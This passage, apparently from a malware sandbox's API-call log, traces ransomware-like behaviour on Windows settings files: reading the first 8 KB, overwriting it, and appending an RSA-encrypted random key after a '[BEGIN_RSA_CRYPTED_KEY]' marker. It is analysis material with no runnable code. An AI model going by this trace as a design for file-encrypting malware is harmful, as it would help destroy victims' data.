pszString="dulSVULre839RqUT3FIgKqdmvs4aDjHhS13yd0diiYlKehyeq3ViqbV7GszVU4iQ\nBPUgz9FlVSBSVxSV8Gm2OVtCBcwOk88bWDfSZdIKkTQ5t/flnxi+QWQWnjMd5u6Z\nbWQqAYxU1atUPWkaEL4Vur7hakSdngthurSlBbzM6KM7Qiu9a8//eXTmc+6AitwZ\nEr6DuFQHb90Zt5xV6l5A9OFZl36xIP2SHa9LZVyJOsviYRO77abXkrZvNhPRTXc+\nQYZcbs0N30VsW/G0/sWPtee2Qolbz14qgOlcCfdl/1Jb5f8mOpm0Uq8pbEPqu3YG\n5zATVK8BtZc8sBV2zaHmSQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.647] WriteFile (in: hFile=0xe48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.648] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.648] WriteFile (in: hFile=0xe48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.649] CloseHandle (hObject=0xe48) returned 1 [0197.677] WriteFile (in: hFile=0xe54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.678] CloseHandle (hObject=0xe54) returned 1 [0197.679] WriteFile (in: hFile=0xe54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.680] CloseHandle (hObject=0xe54) returned 1 [0197.681] WriteFile (in: hFile=0xe54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.682] CloseHandle (hObject=0xe54) returned 1 [0197.683] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.683] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0197.749] ReadFile (in: hFile=0xe68, lpBuffer=0x59d210, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.749] SetFilePointer (in: hFile=0xe68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.749] WriteFile (in: hFile=0xe68, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.749] SetFilePointer (in: hFile=0xe68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.749] WriteFile (in: hFile=0xe68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.751] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.751] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GMzhPILvAymrDK6f+Dk/6IxMYKTky4+iCwlPVb4Tf7h7hSmapZwEtZQPyxkzVGuB\npyucG3d4czGrYH9beftNU/K+TjkTCS/RaG74aoH2SNOS3+txvezQPxHzITbTKti3\nngHpgY2UL0svtRmzbvszIAsiymExyPYODoNmk3msQt+k/8A7CzEnCVSX+eg6Pcbd\ncf0VAVJXtexl335H76uLhHPHI8cDKbnjRIEngoGyZc0suSZKXJHK1NHd0VVdzxRD\nIVV0Bc0l9lf2/pMwgCplaxQpTmoRdOtWvYdLmVrbrfWqtT3Vs2nX5IUHQg/vzZdf\nqRmwI9snSNlP8z/8Kllshw==\n", pcchString=0x2e3f9a8) returned 1 [0197.751] WriteFile (in: hFile=0xe68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.751] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.751] WriteFile (in: hFile=0xe68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.751] CloseHandle (hObject=0xe68) returned 1 [0197.753] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.753] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0197.754] ReadFile (in: hFile=0xe68, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.094] SetFilePointer (in: hFile=0xe68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.094] WriteFile (in: hFile=0xe68, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.095] SetFilePointer (in: hFile=0xe68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.095] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.095] WriteFile (in: hFile=0xe68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.095] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.095] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.096] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.096] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8+OGZDjZufJO6rdcg6a6qgsz8O+G5NvmE4HFL3mD9r4p9pOGYoc8h/j5cOUVBtiT\nDyYod5hVsvVTYYI3XmzsTHMjvujGZl/EGTPkM1DIgheidK7WQf3E9kcygq6jD+0z\ncuSFQsnGVE7u7iKTzG3JL0m3MPsSy01ao6r+DBnQ3oBNWPJL9a0TJuC0OQpjXAbm\ntBtr6FSVM7Mt3/fuD1traE61eD4MT0+380fnZzXL5yPFwpwYYwVH1RoJ24oXIsAn\ne5XNXxtPmfF4lq526a4WxIZgX//9DwvlJTQQ07JoqRnEe9cbpeIVk4POKLMM5Mu4\n7wQCwEfd73L/aK71Abg3TQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.096] WriteFile (in: hFile=0xe68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.096] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.096] WriteFile (in: hFile=0xe68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.096] CloseHandle (hObject=0xe68) returned 1 [0198.098] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.098] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.110] ReadFile (in: hFile=0xe68, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.193] SetFilePointer (in: hFile=0xe68, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.193] WriteFile (in: hFile=0xe68, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.193] SetFilePointer (in: hFile=0xe68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.194] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.194] WriteFile (in: hFile=0xe68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.194] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.194] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.194] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.195] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BE/SwpFP/QMnFC8eXfYywQ9jSiVsPPnPX8oJkD1ySyQalscyIr40Kje6uK+/0vD6\np94dkpkpKFpRgimDSmq5rQB1DYxqTqVS94RbgqtMntDMYawoI+LEr++iGcGaNrgl\nMotMWibYgtimsKmWArFVVqWQCc6859vFE/8PyiVYvy4Vcwfjpayy4dv0Xzzz/aQA\nS8YGxd1ZIdfBjf9W+/GROzDm4cabmfI/MkeHVX7ZWO7tNb+8ND5Jcf2VYJqaHSnZ\nW6oUSFYF4l577xUyQmgcCJb3FQZrZTexjAHPRRoZEE7oQTwORDgBtTD7PcJ+U5bj\nq6qRtpoJ6g4sOJcqgCYwPw==\n", pcchString=0x2e3f9a8) returned 1 [0198.195] WriteFile (in: hFile=0xe68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.195] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.195] WriteFile (in: hFile=0xe68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.195] CloseHandle (hObject=0xe68) returned 1 [0198.197] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.197] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.219] ReadFile (in: hFile=0xe68, lpBuffer=0x59d380, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.219] SetFilePointer (in: hFile=0xe68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.219] WriteFile (in: hFile=0xe68, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.220] SetFilePointer (in: hFile=0xe68, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.220] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.220] WriteFile (in: hFile=0xe68, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.221] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.221] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WEhX8//be4EWerApypTRJtb0b/Onyj7iF3lPxg5RIn9V97s8rA7PpLn9yBdJcIHI\nIcj+LsOQLS6lJU69QOVM2bBOGHNxqi2wdwgiwdXS7B/DebHknMvQNCK5CNJisB5Z\nFHwn0D6nsdPsn39lSeD7jF1aTa7S0HvdNigjbpYr62xQBv5M+2Q4Y7v4j/YTwSGy\n4F2ITIqqnXmZOn4MYqkfte1ev4tfCXi6VJLRW7C1294dIQA5dyUCOYqvE3dUQT0Y\nG1Of3jB0MgGwPDlwf7SHHn0ac7/GvPz4KMAvIhSI/cnDFPOKtOIOIHclRcuU5Fxi\nA/sdTzO5KVHJb+cu5n/NbA==\n", pcchString=0x2e3f9a8) returned 1 [0198.221] WriteFile (in: hFile=0xe68, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.221] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.221] WriteFile (in: hFile=0xe68, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.222] CloseHandle (hObject=0xe68) returned 1 [0198.261] WriteFile (in: hFile=0xe70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.262] CloseHandle (hObject=0xe70) returned 1 [0198.263] WriteFile (in: hFile=0xe70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.264] CloseHandle (hObject=0xe70) returned 1 [0198.265] WriteFile (in: hFile=0xe70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.266] CloseHandle (hObject=0xe70) returned 1 [0198.266] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.266] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.267] ReadFile (in: hFile=0xe84, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.267] SetFilePointer (in: hFile=0xe84, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.267] WriteFile (in: hFile=0xe84, lpBuffer=0x59d2a0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.267] SetFilePointer (in: hFile=0xe84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.267] WriteFile (in: hFile=0xe84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.268] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.268] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wNZSIYRqCiqpg3FJzkjLjsjSClnsc51OHSpRoIpRUuNvHjTMjS8x4iPVYhC3kOcL\nzP0xHDxL/Y167aDb6kWf/iXcJXuv8gobphJ4AUZ8KNSR4MkUJiMuedTE+87JTeKl\n/BAQ+KeQagnS4/azJazW4ayz9AfAULAGddHaYW8tzxGvsH1F8ipsIqTGNXRhK0uv\nXT1/5oi/lhfECsQyxUJ1GWYv8yZ2C2Gtv2407c4BaZvY08bdPyB15FUYpcrmQTcp\nVIYLOOUU0h0U/xVoiYJNCiuBfPrSU/5uGoZ5aTslD2fj2xSyPblSugK999HAQPUY\nHQTk2fIA/na/ILJs8NrCew==\n", pcchString=0x2e3f9a8) returned 1 [0198.268] WriteFile (in: hFile=0xe84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.269] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.269] WriteFile (in: hFile=0xe84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.269] CloseHandle (hObject=0xe84) returned 1 [0198.271] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.271] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.271] ReadFile (in: hFile=0xe84, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.358] SetFilePointer (in: hFile=0xe84, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.358] WriteFile (in: hFile=0xe84, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.358] SetFilePointer (in: hFile=0xe84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.358] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.358] WriteFile (in: hFile=0xe84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.359] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.359] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.359] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.359] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="K/bxYzbS94v5YoY07eJS8uHl2nlcUxYfEyQivIpTvKiRUjT38WHKqIMDBDCySJKU\n1gqldjuApfoEs3IwleGZ3u3otjy+gmgsZlH6Gy9XVjje70aporg4eB+D2cmYVy+c\nIIjsIei5FsyO9v2LK8uV09pKkS86Q5/1lkLpuYnWHbwR+PxFhCPVZFyhw+ahXpV2\n1Tz6b/TyW0/DVqlN9oVR6Fm8ZkeEIeeB9SjPstZ75e5C8uaqkdcGOLR5qZ2wO5v+\nf2+4Z+aK5DMI014+E5V7It+mIlIRLcZyyobyo3F8tbW/D9wEKYgK6xfyXQX6xLdM\nGnmZButUq3mOEiRUM6WpFQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.359] WriteFile (in: hFile=0xe84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.359] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.359] WriteFile (in: hFile=0xe84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.360] CloseHandle (hObject=0xe84) returned 1 [0198.361] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.361] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.362] ReadFile (in: hFile=0xe84, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.382] SetFilePointer (in: hFile=0xe84, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.383] WriteFile (in: 